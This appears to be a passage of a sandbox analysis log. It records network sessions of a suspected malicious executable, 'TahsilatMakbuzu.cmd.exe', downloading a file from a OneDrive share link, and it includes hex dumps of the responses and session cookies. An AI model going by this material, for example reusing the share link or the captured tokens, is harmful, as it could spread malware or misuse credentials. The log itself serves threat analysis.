36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:15:54 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:15:55 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:15:55 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BN3PPF2593698E6 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: KbKfHPgDfU2Db2BrZQvw7Q.0 X-AsmVersion: UNKNOWN; 19.1458.703.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 769966CCE1554F0BAD0CC4A814EED5F2 Ref B: EWR30EDGE0714 Ref C: 2024-07-04T18:15:55Z Date: Thu, 04 Jul 2024 18:15:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49714	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:15:56 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:15:57 UTC	2220	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:e/FvWVWc3Ig=:jDioFgOtAmzOjDld4tQMxm1UGM9xsJHqO5XbXD6Hqb8=:F; domain=.live.com; path=/ Set-Cookie: xid=461c9129-fdee-4045-ac15-fc97fc3534a1&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:35:56 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzU2LCJuYmYiOjE3MjAxMTY5NTYsImdpdmVuX25hbWUiOiIzIiwiZmFtaWx5X25hbWUiOiJTd2FsbG93IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTU3MzlhNTYzNjY5M2UyZGRmYjU0YTczZTljYWUxMGIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1Nn0.h8JQ9E3hhBfmEa8M5xdmPLpVIElHWw87Ptc_KOYtmAiuoSg6CdzTz2dRwWC0NJ0NOzE7Zy0dJQ0j2DFXpbbT3N3dCUiNJW238vDQWlkE0HHPgTOKjw7Qy1fokcG2HCPi7Rp2ISM1f-2mRFoMKmLssbtRfSAsr7-fsQ4nbFawOvbbPlQWnReCarAitzgyMneUR84fEWIBS9wBYULoRzrUZwIa52kcx4u41VIbO4dzecfAyIqgVpsHPOsNyzloCITS70hkCy4eammaWaojR09LkbpK8thvJ2mlvuVa2coaayIyaXy_FKC_prOg8KQINrVA1tNte63PIxfkS_tFWyWXIA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:15:57 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-bj4w9 X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C2846C9B96C1410D930B4AAAEDB67A78 Ref B: BN3EDGE1105 Ref C: 2024-07-04T18:15:56Z Date: Thu, 04 Jul 2024 18:15:56 GMT Connection: close
2024-07-04 18:15:57 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49715	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:15:58 UTC	1288	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzU2LCJuYmYiOjE3MjAxMTY5NTYsImdpdmVuX25hbWUiOiIzIiwiZmFtaWx5X25hbWUiOiJTd2FsbG93IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZTU3MzlhNTYzNjY5M2UyZGRmYjU0YTczZTljYWUxMGIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk1Nn0.h8JQ9E3hhBfmEa8M5xdmPLpVIElHWw87Ptc_KOYtmAiuoSg6CdzTz2dRwWC0NJ0NOzE7Zy0dJQ0j2DFXpbbT3N3dCUiNJW238vDQWlkE0HHPgTOKjw7Qy1fokcG2HCPi7Rp2ISM1f-2mRFoMKmLssbtRfSAsr7-fsQ4nbFawOvbbPlQWnReCarAitzgyMneUR84fEWIBS9wBYULoRzrUZwIa52kcx4u41VIbO4dzecfAyIqgVpsHPOsNyzloCITS70hkCy4eammaWaojR09LkbpK8thvJ2mlvuVa2coaayIyaXy_FKC_prOg8KQINrVA1tNte63PIxfkS_tFWyWXIA; E=P:e/FvWVWc3Ig=:jDioFgOtAmzOjDld4tQMxm1UGM9xsJHqO5XbXD6Hqb8=:F; xid=461c9129-fdee-4045-ac15-fc97fc353 [TRUNCATED]
2024-07-04 18:15:58 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,12426,0,71441,4 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2a1239a1-c0b7-5000-d276-746b74a708f9 request-id: 2a1239a1-c0b7-5000-d276-746b74a708f9 MS-CV: oTkSKrfAAFDSdnRrdKcI+Q.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 31 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1B5F8C03664D4D698E49FF722191C13E Ref B: BN3EDGE0205 Ref C: 2024-07-04T18:15:58Z Date: Thu, 04 Jul 2024 18:15:58 GMT Connection: close
2024-07-04 18:15:58 UTC	4007	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:15:58 UTC	8192	IN	Data Raw: 36 46 36 33 22 3a 74 72 75 65 2c 22 32 32 31 37 45 30 31 39 2d 33 43 32 43 2d 34 31 45 36 2d 41 37 34 30 2d 38 31 36 35 35 42 44 33 31 45 46 44 22 3a 74 72 75 65 2c 22 38 39 36 34 31 38 34 31 2d 45 33 35 36 2d 34 36 34 35 2d 38 34 45 33 2d 34 46 37 33 37 32 34 42 41 30 39 39 22 3a 74 72 75 65 2c 22 45 36 44 43 43 30 39 45 2d 31 33 41 45 2d 34 33 30 33 2d 39 43 46 36 2d 38 36 36 32 38 33 44 42 46 36 41 32 22 3a 74 72 75 65 2c 22 37 30 38 45 46 35 32 30 2d 43 39 38 45 2d 34 33 31 32 2d 41 42 45 30 2d 30 33 32 37 44 30 42 45 36 37 35 44 22 3a 74 72 75 65 2c 22 39 33 30 39 45 39 36 30 2d 43 35 46 44 2d 34 31 43 32 2d 42 36 31 30 2d 30 32 42 39 45 37 32 34 31 33 36 39 22 3a 74 72 75 65 2c 22 39 44 46 45 37 43 35 37 2d 43 44 41 30 2d 34 44 43 35 2d 39 37 45 30 Data Ascii: 6F63":true,"2217E019-3C2C-41E6-A740-81655BD31EFD":true,"89641841-E356-4645-84E3-4F73724BA099":true,"E6DCC09E-13AE-4303-9CF6-866283DBF6A2":true,"708EF520-C98E-4312-ABE0-0327D0BE675D":true,"9309E960-C5FD-41C2-B610-02B9E7241369":true,"9DFE7C57-CDA0-4DC5-97E0
2024-07-04 18:15:58 UTC	2380	IN	Data Raw: 75 65 2c 22 32 44 43 44 31 33 30 32 2d 43 30 44 37 2d 34 43 30 35 2d 38 41 35 36 2d 30 32 37 30 45 36 43 37 32 38 34 45 22 3a 74 72 75 65 2c 22 36 45 38 38 34 31 43 34 2d 44 32 32 31 2d 34 36 30 35 2d 42 30 30 37 2d 32 42 46 32 41 34 45 39 46 41 31 39 22 3a 74 72 75 65 2c 22 37 42 39 32 31 34 39 37 2d 44 32 34 30 2d 34 34 36 46 2d 42 38 33 32 2d 32 38 35 39 44 43 34 33 32 33 39 46 22 3a 74 72 75 65 2c 22 31 46 37 33 43 43 39 42 2d 32 41 31 37 2d 34 33 37 45 2d 38 34 43 36 2d 32 46 33 33 41 31 42 45 34 34 33 45 22 3a 74 72 75 65 2c 22 33 46 35 43 38 45 34 42 2d 33 32 32 32 2d 34 30 31 43 2d 39 32 33 43 2d 30 34 46 43 42 39 30 34 44 30 42 43 22 3a 74 72 75 65 2c 22 41 33 46 35 32 33 37 36 2d 30 35 30 45 2d 34 39 42 34 2d 42 46 35 30 2d 31 37 33 45 44 41 39 Data Ascii: ue,"2DCD1302-C0D7-4C05-8A56-0270E6C7284E":true,"6E8841C4-D221-4605-B007-2BF2A4E9FA19":true,"7B921497-D240-446F-B832-2859DC43239F":true,"1F73CC9B-2A17-437E-84C6-2F33A1BE443E":true,"3F5C8E4B-3222-401C-923C-04FCB904D0BC":true,"A3F52376-050E-49B4-BF50-173EDA9
2024-07-04 18:15:58 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:15:58 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:15:58 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 